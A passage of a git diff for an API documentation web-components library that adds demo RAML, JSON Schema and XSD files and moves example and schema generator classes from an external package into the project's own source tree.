+          name: address-array-3
+      addresses4: # This creates <address-array-4> <street></street>... </address-array-4>
+        type: Address[]
+        xml:
+          name: address-array-4
+      invalidAttribute:
+        type: SimpleObject
+        xml:
+          attribute: true
+      namespaceElement:
+        type: string
+        example: test namespace
+        xml:
+          namespace: urn:loc.gov:books
+      namespaceWithPrefix:
+        type: string
+        example: test namespace
+        xml:
+          namespace: urn:ISBN:0-395-36341-6
+          prefix: isbn
+      optionalAttribute?:
+        type: string
+        xml:
+          attribute: true
+      optionalProperty?:
+        type: string
+        example: abcd
+      
+  NoXmlSerializationObject:
+    type: object
+    properties: 
+      id:
+        type: string
+      addresses:
+        type: Address[]
+  XmlComplexProperty:
+    type: object
+    properties: 
+      complex:
+        type: object
+        xml:
+          wrapped: true # should not matter as this is not an array
+          namespace: urn:ISBN:0-395-36341-6
+          prefix: f
+        properties: 
+          abc:
+            xml:
+              attribute: true
+              name: correctedName
+          other:
+            type: string
+            example: some property
+  XmlArray:
+    type: Address[]
+  XmlArray2:
+    type: array
+    items: 
+      type: Address
+      xml:
+        name: address
+    xml: 
+      name: addresses-array
+      wrapped : true
+  XmlArrayExample:
+    type: Address[]
+    example:
+      street: 1234 Market street
+      city: San Francisco
+  XmlRefSchema:
+    description: This type has included xsd schema
+    type: !include schemas/person.xsd
+  XmlRefSchemaExample:
+    description: This type has included xsd schema
+    type: !include schemas/person.xsd
+    example: !include examples/person.xml
+  JsonRefSchema:
+    description: This type has included xsd schema
+    type: !include schemas/person.json
+  LibraryRef:
+    type: ExampleType.Pet
+    properties: 
+      type:
+        default: Doggie
+        xml:
+          name: petType
+      sound:
+        default: Woof
+      friendly: 
+        type: boolean
+        default: true
+  StringArray:
+    type: string[]
+  StringArrayExample:
+    type: string[]
+    example: [test, other]
+  StringArrayDefault:
+    type: string[]
+    example: [test, other]
+  NumberArray:
+    type: number[]
+  NumberArrayExample:
+    type: number[]
+    example: [1, 2]
+  NumberArrayDefault:
+    type: number[]
+    default: [3, 4]
+  ScalarNumber:
+    type: number
+  ScalarNumberWithExample:
+    type: number
+    example: 24
+
+securitySchemes: 
+  Basic:
+    type: Basic Authentication
+traits: 
+  Test:
+    headers: 
+      x-test: string
+
+/schemas:
+  post:
+    body: 
+      application/json:
+        type: JsonRefSchema
+      application/xml:
+        type: XmlRefSchema
+  put:
+    body:
+      application/json:
+        schema: !include schemas/person.json
+        example: !include examples/person.json
+      application/xml:
+        type: !include schemas/person.xsd
+        example: !include examples/person.xml
+        
+/parameters:
+  get:
+    queryParameters: 
+      arrableStringWithExample:
+        type: string[]
+        example: ["example 1", "example 2"]
+      arrableStringWithExamples:
+        type: string[]
+        examples: 
+          named1: ["example 1", "example 2"]
+          named2: ["example 3", "example 4"]
+      arrableNumberWithExamples:
+        type: number[]
+        examples: 
+          named1: [1, 2]
+          named2: [3, 4]
+      arrableNumber:
+        type: number[]
+      scalarString:
+        type: string
+      scalarStringWithExample:
+        type: string
+        example: a string
+      scalarStringWithDefault:
+        type: string
+        default: test default
+      scalarStringWithExamples:
+        type: string
+        examples:
+          named1: a string 1
+          named2: a string 2
+      scalarNumber:
+        type: number
+      scalarNumberWithExample:
+        type: number
+        example: 10
+      scalarNumberWithDefault:
+        type: number
+        default: 20
+      scalarNumberWithExamples:
+        type: number
+        examples:
+          named1: 30
+          named2: 40
+      scalarBoolean:
+        type: boolean
+      scalarBooleanWithExample:
+        type: boolean
+        example: true
+      scalarBooleanWithDefault:
+        type: boolean
+        default: false
+      scalarBooleanWithExamples:
+        type: boolean
+        examples:
+          named1: true
+          named2: false
+      notRequired:
+        type: string
+        required: false
+      notRequiredDefault:
+        type: string
+        required: false
+        default: test default
+      notRequiredExample:
+        type: string
+        required: false
+        example: test example
+      notRequiredArray:
+        type: string[]
+        required: false
+      notRequiredArrayDefault:
+        type: string[]
+        required: false
+        default: [test default]
+      notRequiredArrayExample:
+        type: string[]
+        required: false
+        example: [test example]
diff --git a/demo/apis/schema-api/schemas/person.json b/demo/apis/schema-api/schemas/person.json
new file mode 100644
index 0000000..d840c13
--- /dev/null
+++ b/demo/apis/schema-api/schemas/person.json
@@ -0,0 +1,104 @@
+{
+  "$id": "http://example.com/example.json",
+  "type": "object",
+  "definitions": {},
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "properties": {
+    "id": {
+      "$id": "/properties/id",
+      "type": "string",
+      "title": "The Id Schema ",
+      "default": "",
+      "examples": [
+        "R34fg663H9KW9MMSKISI"
+      ]
+    },
+    "name": {
+      "$id": "/properties/name",
+      "type": "string",
+      "title": "The Name Schema ",
+      "default": "",
+      "examples": [
+        "Pawel Psztyc"
+      ]
+    },
+    "birthday": {
+      "$id": "/properties/birthday",
+      "type": "string",
+      "title": "The Birthday Schema ",
+      "default": "",
+      "examples": [
+        "1983-10-20"
+      ]
+    },
+    "gender": {
+      "$id": "/properties/gender",
+      "type": "string",
+      "title": "The Gender Schema ",
+      "default": "",
+      "examples": [
+        "male"
+      ]
+    },
+    "url": {
+      "$id": "/properties/url",
+      "type": "string",
+      "title": "The Url Schema ",
+      "default": "",
+      "examples": [
+        "https://domain.com/profile/pawel.psztyc"
+      ]
+    },
+    "image": {
+      "$id": "/properties/image",
+      "type": "object",
+      "properties": {
+        "url": {
+          "$id": "/properties/image/properties/url",
+          "type": "string",
+          "title": "The Url Schema ",
+          "default": "",
+          "examples": [
+            "https://domain.com/profile/pawel.psztyc/image"
+          ]
+        },
+        "thumb": {
+          "$id": "/properties/image/properties/thumb",
+          "type": "string",
+          "title": "The Thumb Schema ",
+          "default": "",
+          "examples": [
+            "https://domain.com/profile/pawel.psztyc/image/thumb"
+          ]
+        }
+      }
+    },
+    "tagline": {
+      "$id": "/properties/tagline",
+      "type": "string",
+      "title": "The Tagline Schema ",
+      "default": "",
+      "examples": [
+        "Some text about me."
+      ]
+    },
+    "language": {
+      "$id": "/properties/language",
+      "type": "string",
+      "title": "The Language Schema ",
+      "default": "",
+      "examples": [
+        "en_GB"
+      ]
+    },
+    "etag": {
+      "$id": "/properties/etag",
+      "type": "string",
+      "title": "The Etag Schema ",
+      "default": "",
+      "examples": [
+        "W\\244m4n5kj3gbn2nj4k4n4"
+      ]
+    }
+  }
+}
diff --git a/demo/apis/schema-api/schemas/person.xsd b/demo/apis/schema-api/schemas/person.xsd
new file mode 100644
index 0000000..bdcca0c
--- /dev/null
+++ b/demo/apis/schema-api/schemas/person.xsd
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
+  <xs:element name="resource">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="id" type="xs:string"></xs:element>
+        <xs:element name="name" type="xs:string"></xs:element>
+        <xs:element name="birthday" type="xs:date"></xs:element>
+        <xs:element name="gender" type="xs:string"></xs:element>
+        <xs:element name="url" type="xs:string"></xs:element>
+        <xs:element name="image">
+          <xs:complexType>
+            <xs:sequence>
+              <xs:element name="url" type="xs:string"></xs:element>
+              <xs:element name="thumb" type="xs:string"></xs:element>
+            </xs:sequence>
+          </xs:complexType>
+        </xs:element>
+        <xs:element name="tagline" type="xs:string"></xs:element>
+        <xs:element name="language" type="xs:string"></xs:element>
+      </xs:sequence>
+      <xs:attribute name="error" type="xs:boolean" use="required"></xs:attribute>
+      <xs:attribute name="type" type="xs:string" use="required"></xs:attribute>
+    </xs:complexType>
+  </xs:element>
+</xs:schema>
diff --git a/demo/apis/schema-api/types/DemoPerson.raml b/demo/apis/schema-api/types/DemoPerson.raml
new file mode 100644
index 0000000..e52dc43
--- /dev/null
+++ b/demo/apis/schema-api/types/DemoPerson.raml
@@ -0,0 +1,67 @@
+#%RAML 1.0 DataType
+
+displayName: Person
+description: |
+  A person but without examples defined inline.
+
+type: object
+
+properties:
+  id:
+    xml:
+      attribute: true
+    description: A unique identifier for a person. It is a 32 bit string containing alphanumeric characters.
+    type: string
+    example: ad3fd6d4-af89-11eb-8529-0242ac130003
+  name:
+    required: true
+    example: John Smith
+    description: Person full name. The input will be rejected if this property is not set while creating new object.
+    type: string
+    pattern: "[0-9a-zA-Z ]+"
+    xml:
+      attribute: true
+      name: fullname
+  birthday:
+    type: date-only
+    description: The person's date of birth, represented as YYYY-MM-DD.
+    examples:
+      Example 1: 1983-10-20
+      Example 2: 1994-08-29
+  gender?:
+    type: string
+    description: |
+      The person's gender. Possible values includes, but are not limited to, the following values:
+      * "male" - Male gender.
+      * "female" - Female gender.
+      * "other" - Other.
+    example: male
+  url:
+    type: string
+    description: The URL of this person's profile.
+  image: 
+    type: !include ../resourceTypes/image.raml
+    xml:
+      wrapped: true
+  tagline:
+    type: string
+    description: The brief description (tagline) of this person.
+  language:
+    type: string
+    description: The user's preferred language for rendering.
+    example: "Polish"
+  tags:
+    description: Tags added to the person.
+    type: array
+    items: 
+      properties:
+        name: 
+          type: string
+          description: The name of the tag
+          example: Manager
+        id:
+          type: string
+          description: Tag's identifier.
+          example: ad3fda8a-af89-11eb-8529-0242ac130003
+      xml:
+        wrapped: false
diff --git a/demo/apis/tracked-examples/datatypes/employee.raml b/demo/apis/tracked-examples/datatypes/employee.raml
new file mode 100755
index 0000000..f1e2c22
--- /dev/null
+++ b/demo/apis/tracked-examples/datatypes/employee.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 DataType
+type: object
+properties:
+  id: integer
+  name: string
\ No newline at end of file
diff --git a/demo/apis/tracked-examples/examples/employee.raml b/demo/apis/tracked-examples/examples/employee.raml
new file mode 100755
index 0000000..db519f9
--- /dev/null
+++ b/demo/apis/tracked-examples/examples/employee.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+employee:
+  id: 1
+  name: "John"
diff --git a/demo/apis/tracked-examples/examples/employees.raml b/demo/apis/tracked-examples/examples/employees.raml
new file mode 100755
index 0000000..bce8569
--- /dev/null
+++ b/demo/apis/tracked-examples/examples/employees.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 NamedExample
+employees:
+  -
+    id: 1
+    name: John
+  -
+    id: 2
+    name: Sam
diff --git a/demo/apis/tracked-examples/tracked-to-linked.raml b/demo/apis/tracked-examples/tracked-to-linked.raml
new file mode 100755
index 0000000..db1242f
--- /dev/null
+++ b/demo/apis/tracked-examples/tracked-to-linked.raml
@@ -0,0 +1,28 @@
+#%RAML 1.0
+title: optional-attributes-test
+
+mediaType: application/xml
+
+types:
+  Employee: !include datatypes/employee.raml
+
+/employees:
+  get:
+    body:
+      application/json:
+        type: Employee[]
+        examples: !include examples/employees.raml
+  post:
+    body:
+      application/json:
+        type: Employee
+        examples: !include examples/employee.raml
+  delete:
+    body:
+      application/json:
+        type: Employee
+        examples: !include examples/employee.raml
+  head:
+    body:
+      type: Employee
+      examples: !include examples/employee.raml
\ No newline at end of file
diff --git a/demo/model.mjs b/demo/model.mjs
index 36b1aa3..eb7a65e 100644
--- a/demo/model.mjs
+++ b/demo/model.mjs
@@ -8,6 +8,7 @@ config.set('demo-api/demo-api.raml', { type: "RAML 1.0" });
 config.set('amf-helper-api/amf-helper-api.raml', { type: "RAML 1.0" });
 config.set('arc-demo-api/arc-demo-api.raml', { type: "RAML 1.0" });
 config.set('navigation-api/navigation-api.raml', { type: "RAML 1.0" });
+config.set('schema-api/schema-api.raml', { type: "RAML 1.0" });
 config.set('array-body/array-body.raml', { type: "RAML 1.0" });
 config.set('google-drive-api/google-drive-api.raml', { type: "RAML 1.0" });
 config.set('appian-api/appian-api.raml', { type: "RAML 1.0" });
@@ -19,18 +20,23 @@ config.set('APIC-15/APIC-15.raml', { type: "RAML 1.0" });
 config.set('apic-83/apic-83.raml', { type: "RAML 1.0" });
 config.set('APIC-168/APIC-168.raml', { type: "RAML 1.0" });
 config.set('apic-169/apic-169.raml', { type: 'RAML 1.0' });
+config.set('APIC-187/APIC-187.raml', { type: 'RAML 1.0' });
+config.set('APIC-188/APIC-188.raml', { type: 'RAML 1.0' });
+config.set('APIC-233/APIC-233.raml', { type: 'RAML 0.8' });
 config.set('APIC-282/APIC-282.raml', { type: "RAML 1.0" });
 config.set('APIC-289/APIC-289.yaml', { type: "OAS 2.0", mime: 'application/yaml' });
 config.set('APIC-298/APIC-298.json', { type: 'OAS 2.0', mime: 'application/json' });
 config.set('APIC-332/APIC-332.raml', { type: 'RAML 1.0' });
 config.set('APIC-349-cache-resolution/APIC-349-cache-resolution.raml', { type: 'RAML 1.0' });
 config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" });
+config.set('APIC-391/APIC-391.raml', { type: 'RAML 1.0' });
 config.set('APIC-429/APIC-429.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('APIC-435/APIC-435.yaml', { type: "OAS 2.0", mime: 'application/yaml' });
 config.set('APIC-449/APIC-449.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
+config.set('APIC-463/APIC-463.raml', { type: "RAML 1.0" });
 config.set('APIC-480/APIC-480.raml', { type: 'RAML 1.0' });
 config.set('APIC-483/APIC-483.raml', { type: "RAML 1.0" });
-config.set('APIC-463/APIC-463.raml', { type: "RAML 1.0" });
+config.set('APIC-487/APIC-487.raml', { type: 'RAML 1.0' });
 config.set('APIC-550/APIC-550.raml', { type: "RAML 1.0" });
 config.set('APIC-553/APIC-553.raml', { type: "RAML 1.0" });
 config.set('APIC-554/APIC-554.raml', { type: "RAML 1.0" });
@@ -42,9 +48,11 @@ config.set('APIC-631/APIC-631.raml', { type: "RAML 1.0" });
 config.set('APIC-641/APIC-641.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('APIC-649/APIC-649.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('APIC-650/APIC-650.yaml', { type: "OAS 3.0" });
+config.set('APIC-655/APIC-655.raml', { type: 'RAML 1.0' });
 config.set('APIC-667/APIC-667.raml', { type: "RAML 1.0" });
 config.set('APIC-671/APIC-671.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('APIC-689/APIC-689.raml', { type: 'RAML 1.0' });
+config.set('APIC-690/APIC-690.raml', { type: 'RAML 1.0' });
 config.set('APIC-711/APIC-711.raml', { type: "RAML 1.0" });
 config.set('aap-1698/aap-1698.raml', { type: "RAML 1.0" });
 config.set('SE-10469/SE-10469.raml', { type: "RAML 1.0" });
@@ -57,9 +65,11 @@ config.set('SE-12291/SE-12291.json', { type: "OAS 2.0", mime: 'application/json'
 config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" });
 config.set('SE-12957/SE-12957.json', { type: "OAS 2.0", mime: 'application/json' });
 config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' });
+config.set('SE-13092/SE-13092.raml', { type: 'RAML 1.0' });
 config.set('SE-17897/SE-17897.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('SE-19215/SE-19215.raml', { type: "RAML 1.0" });
 config.set('SE-19500/SE-19500.raml', { type: "RAML 1.0" });
+config.set('SE-22063/SE-22063.raml', { type: 'RAML 1.0' });
 config.set('oauth1-fragment/oauth1-fragment.raml', { type: "RAML 1.0" });
 config.set('oauth2-fragment/oauth2-fragment.raml', { type: "RAML 1.0" });
 config.set('type-fragment/type-fragment.raml', { type: "RAML 1.0" });
@@ -104,6 +114,8 @@ config.set('missing-endpoints/missing-endpoints.raml', { type: 'RAML 1.0' });
 config.set('unordered-endpoints/unordered-endpoints.raml', { type: 'RAML 1.0' });
 config.set('rearrange-api/rearrange-api.raml', { type: 'RAML 1.0' });
 config.set('simple-api/simple-api.raml', { type: 'RAML 1.0' });
+config.set('example-generator-api/example-generator-api.raml', { type: "RAML 1.0" });
+config.set('tracked-examples/tracked-to-linked.raml', { type: 'RAML 1.0' });
 
 generator.generate(config, {
   dest: 'demo/models/',
diff --git a/index.d.ts b/index.d.ts
index eccda94..ce23803 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -19,9 +19,9 @@ export { default as ApiServerSelectorElement } from './src/elements/ApiServerSel
 export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement';
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement';
 export * from './src/events/EventTypes';
-export * from './src/events/RequestEvents';
+export * from './src/events/Events';
 export * as InputCache from './src/lib/InputCache';
-export * as UrlLib from './src/lib/UrlUtils.js';
+export * as UrlLib from './src/lib/UrlUtils';
 export * as Utils from './src/lib/Utils';
 export * from './src/types'
 export { AmfHelperMixin } from './src/helpers/AmfHelperMixin';
@@ -30,3 +30,7 @@ export { ns } from './src/helpers/Namespace';
 export * as Amf from './src/helpers/amf';
 export * as Api from './src/helpers/api';
 export * as HttpStyles from './src/elements/styles/HttpLabel';
+export { ApiExampleGenerator } from './src/schema/ApiExampleGenerator';
+export { ApiMonacoSchemaGenerator } from './src/schema/ApiMonacoSchemaGenerator';
+export { ApiSchemaValues } from './src/schema/ApiSchemaValues';
+export { ApiSchemaGenerator } from './src/schema/ApiSchemaGenerator';
diff --git a/index.js b/index.js
index 7733930..3bd77cb 100644
--- a/index.js
+++ b/index.js
@@ -19,7 +19,7 @@ export { default as ApiServerSelectorElement } from './src/elements/ApiServerSel
 export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement.js';
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement.js';
 export * from './src/events/EventTypes.js';
-export * from './src/events/RequestEvents.js';
+export * from './src/events/Events.js';
 export * as InputCache from './src/lib/InputCache.js';
 export * as UrlLib from './src/lib/UrlUtils.js';
 export * as Utils from './src/lib/Utils.js';
@@ -27,3 +27,7 @@ export { AmfHelperMixin } from './src/helpers/AmfHelperMixin.js';
 export { AmfSerializer } from './src/helpers/AmfSerializer.js';
 export { ns } from './src/helpers/Namespace.js';
 export * as HttpStyles from './src/elements/styles/HttpLabel.js';
+export { ApiExampleGenerator } from './src/schema/ApiExampleGenerator.js';
+export { ApiMonacoSchemaGenerator } from './src/schema/ApiMonacoSchemaGenerator.js';
+export { ApiSchemaValues } from './src/schema/ApiSchemaValues.js';
+export { ApiSchemaGenerator } from './src/schema/ApiSchemaGenerator.js';
diff --git a/package-lock.json b/package-lock.json
index ee6d8b7..a55ce17 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -614,14 +614,6 @@
         "lit-html": "^1.4.1"
       }
     },
-    "@api-components/amf-helper-mixin": {
-      "version": "4.5.17",
-      "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.17.tgz",
-      "integrity": "sha512-CGMo/N/wb8jwg7n98tpfj5VqBVyB4jDyyGQ/fdgLacQrEQ5Fe0v0hG8Maj2OOQeavt44y3SMbSLCQBjsxchbAA==",
-      "requires": {
-        "amf-json-ld-lib": "0.0.14"
-      }
-    },
     "@api-components/api-model-generator": {
       "version": "0.2.14",
       "resolved": "https://registry.npmjs.org/@api-components/api-model-generator/-/api-model-generator-0.2.14.tgz",
@@ -632,15 +624,6 @@
         "fs-extra": "^10.0.0"
       }
     },
-    "@api-components/api-schema": {
-      "version": "0.1.5",
-      "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.5.tgz",
-      "integrity": "sha512-bb2iVOE3wfEqOO5p+nU8NqELZc0Qd/VRb9r7qDfExZn90fCJZZ/U1bzDa3UIfShhJejh586fuQnjKkAr/RYsSQ==",
-      "requires": {
-        "@api-components/amf-helper-mixin": "^4.5.16",
-        "@pawel-up/data-mock": "^0.1.7"
-      }
-    },
     "@api-components/http-method-label": {
       "version": "3.1.5",
       "resolved": "https://registry.npmjs.org/@api-components/http-method-label/-/http-method-label-3.1.5.tgz",
diff --git a/package.json b/package.json
index a4c0bcb..e5e9bf7 100644
--- a/package.json
+++ b/package.json
@@ -51,8 +51,8 @@
     "@anypoint-web-components/anypoint-radio-button": "^0.1.9",
     "@anypoint-web-components/anypoint-switch": "^0.1.10",
     "@anypoint-web-components/anypoint-tabs": "^0.1.19",
-    "@api-components/api-schema": "^0.1.5",
     "@open-wc/dedupe-mixin": "^1.3.0",
+    "@pawel-up/data-mock": "^0.1.7",
     "amf-json-ld-lib": "0.0.14",
     "dompurify": "^2.3.3",
     "lit-element": "^2.5.1",
diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts
index 0b12b9e..a3408e4 100644
--- a/src/elements/ApiDocumentationBase.d.ts
+++ b/src/elements/ApiDocumentationBase.d.ts
@@ -3,7 +3,7 @@ import { ApiParameter, ApiCustomDomainProperty, ApiExample } from '../helpers/ap
 import { DomainElement } from '../helpers/amf';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
 import { AmfSerializer } from '../helpers/AmfSerializer';
-import { SchemaExample } from '@api-components/api-schema';
+import { SchemaExample } from '../types';
 
 export declare const sectionToggleClickHandler: unique symbol;
 export declare const processDebounce: unique symbol;
diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js
index 50c5f59..17c11f2 100644
--- a/src/elements/ApiDocumentationBase.js
+++ b/src/elements/ApiDocumentationBase.js
@@ -3,11 +3,11 @@
 import { LitElement, html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { ifDefined } from 'lit-html/directives/if-defined.js';
-import { ApiExampleGenerator } from '@api-components/api-schema';
 import '@anypoint-web-components/anypoint-button/anypoint-button.js';
 import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js';
 import '@advanced-rest-client/arc-icons/arc-icon.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
+import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import '../../api-annotation-document.js';
@@ -18,7 +18,7 @@ import '../../api-annotation-document.js';
 /** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('../helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
 /** @typedef {import('../helpers/api').ApiExample} ApiExample */
-/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */
+/** @typedef {import('../types').SchemaExample} SchemaExample */
 
 export const sectionToggleClickHandler = Symbol('sectionToggleClickHandler');
 export const processDebounce = Symbol('queryDebounce');
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index 4276f29..8fd2f9b 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -2,7 +2,8 @@
 import { html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
-import { ApiSchemaValues, ApiSchemaGenerator } from '@api-components/api-schema';
+import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
+import { ApiSchemaValues } from '../schema/ApiSchemaValues.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js';
 import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js';
diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js
index 69999b8..b6bc833 100644
--- a/src/elements/ApiPayloadDocumentElement.js
+++ b/src/elements/ApiPayloadDocumentElement.js
@@ -16,7 +16,7 @@ import '../../api-schema-document.js';
 /** @typedef {import('../helpers/amf').Payload} Payload */
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../helpers/api').ApiExample} ApiExample */
-/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */
+/** @typedef {import('../types').SchemaExample} SchemaExample */
 
 export const queryPayload = Symbol('queryPayload');
 export const queryExamples = Symbol('queryExamples');
diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js
index bdb27ab..e8057f5 100644
--- a/src/elements/ApiSchemaDocumentElement.js
+++ b/src/elements/ApiSchemaDocumentElement.js
@@ -3,7 +3,7 @@
 import { html } from 'lit-element';
 import { classMap } from "lit-html/directives/class-map";
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
-import { ApiSchemaGenerator } from '@api-components/api-schema';
+import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
@@ -46,7 +46,7 @@ import {
 /** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
 /** @typedef {import('../helpers/api').ApiTupleShape} ApiTupleShape */
 /** @typedef {import('../helpers/api').ApiPropertyShape} ApiPropertyShape */
-/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */
+/** @typedef {import('../types').SchemaExample} SchemaExample */
 
 export const mimeTypeValue = Symbol('mimeTypeValue');
 export const querySchema = Symbol('querySchema');
diff --git a/src/lib/AmfInputParser.js b/src/lib/AmfInputParser.js
index 63bd3ef..7b8179a 100644
--- a/src/lib/AmfInputParser.js
+++ b/src/lib/AmfInputParser.js
@@ -1,7 +1,7 @@
 /* eslint-disable no-continue */
 /* eslint-disable no-param-reassign */
 /* eslint-disable class-methods-use-this */
-import { ApiSchemaValues } from '@api-components/api-schema';
+import { ApiSchemaValues } from '../schema/ApiSchemaValues.js';
 import { ns } from '../helpers/Namespace.js';
 
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
diff --git a/src/lib/AmfParameterMixin.js b/src/lib/AmfParameterMixin.js
index 1191d71..8648c5b 100644
--- a/src/lib/AmfParameterMixin.js
+++ b/src/lib/AmfParameterMixin.js
@@ -4,7 +4,7 @@
 // eslint-disable-next-line no-unused-vars
 import { html } from 'lit-element';
 import { dedupeMixin } from '@open-wc/dedupe-mixin';
-import { ApiSchemaValues } from '@api-components/api-schema';
+import { ApiSchemaValues } from '../schema/ApiSchemaValues.js';
 import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
 import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
 import '@anypoint-web-components/anypoint-item/anypoint-item.js';
diff --git a/src/lib/PayloadUtils.js b/src/lib/PayloadUtils.js
index 1b650b8..04b92ab 100644
--- a/src/lib/PayloadUtils.js
+++ b/src/lib/PayloadUtils.js
@@ -1,4 +1,6 @@
-import { ApiExampleGenerator, ApiMonacoSchemaGenerator, ApiSchemaGenerator } from '@api-components/api-schema';
+import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
+import { ApiMonacoSchemaGenerator } from '../schema/ApiMonacoSchemaGenerator.js';
+import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
 
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
diff --git a/src/schema/ApiExampleGenerator.d.ts b/src/schema/ApiExampleGenerator.d.ts
new file mode 100644
index 0000000..82e75cd
--- /dev/null
+++ b/src/schema/ApiExampleGenerator.d.ts
@@ -0,0 +1,40 @@
+import { ApiDataNode, ApiExample, ApiShapeUnion } from '../helpers/api';
+
+/**
+ * A class that processes AMF's Example object to read the example value
+ * or to generate the example for the given media type.
+ */
+export declare class ApiExampleGenerator {
+  /**
+   * Reads or generates an example.
+   * When the `mime` is set then it tries to "guess" whether the mime type corresponds to the value.
+   * If it doesn't then it generates the example from the structured value, when possible.
+   * @param example The structured value of the example
+   * @param mime The optional mime type of the example. When not set it won't generate example from the structured value.
+   * @param shape The optional shape containing this example to use with the XML examples which needs wrapping into an element.
+   * @returns The read or generated example.
+   */
+  read(example: ApiExample, mime?: string, shape?: ApiShapeUnion): string|null;
+
+  /**
+   * Employs some basic heuristics to determine whether the given mime type patches the content.
+   * @param mime The mime type for the value.
+   * @param value The value.
+   * @returns True when the value matches the mime type.
+   */
+  mimeMatches(mime: string, value: string): boolean;
+
+  /**
+   * Generates the example for the given structured value and the media type.
+   * @param mime The mime type for the value.
+   * @param structuredValue The structuredValue of the example.
+   * @param shape The optional shape containing this example to use with the XML examples which needs wrapping into an element.
+   * @returns The generated example or null if couldn't process the data.
+   */
+  fromStructuredValue(mime: string, structuredValue: ApiDataNode, shape?: ApiShapeUnion): string|null;
+
+  /**
+   * Wraps the generated XML example into an element according to the `shape` properties.
+   */
+  wrapXmlValue(value: string|null, shape?: ApiShapeUnion): string|null;
+}
diff --git a/src/schema/ApiExampleGenerator.js b/src/schema/ApiExampleGenerator.js
new file mode 100644
index 0000000..6190b72
--- /dev/null
+++ b/src/schema/ApiExampleGenerator.js
@@ -0,0 +1,120 @@
+/* eslint-disable class-methods-use-this */
+import { ns } from "../helpers/Namespace.js";
+import { JsonDataNodeGenerator } from './data-node/JsonDataNodeGenerator.js';
+import { XmlDataNodeGenerator } from './data-node/XmlDataNodeGenerator.js';
+import { UrlEncodedDataNodeGenerator } from './data-node/UrlEncodedDataNodeGenerator.js';
+import { formatXmlValue } from './Utils.js';
+
+/** @typedef {import('../helpers/api').ApiExample} ApiExample */
+/** @typedef {import('../helpers/api').ApiDataNode} ApiDataNode */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+
+/**
+ * A class that processes AMF's Example object to read the example value
+ * or to generate the example for the given media type.
+ */
+export class ApiExampleGenerator {
+  /**
+   * Reads or generates an example.
+   * When the `mime` is set then it tries to "guess" whether the mime type corresponds to the value.
+   * If it doesn't then it generates the example from the structured value, when possible.
+   * @param {ApiExample} example The structured value of the example
+   * @param {string=} mime The optional mime type of the example. When not set it won't generate example from the structured value.
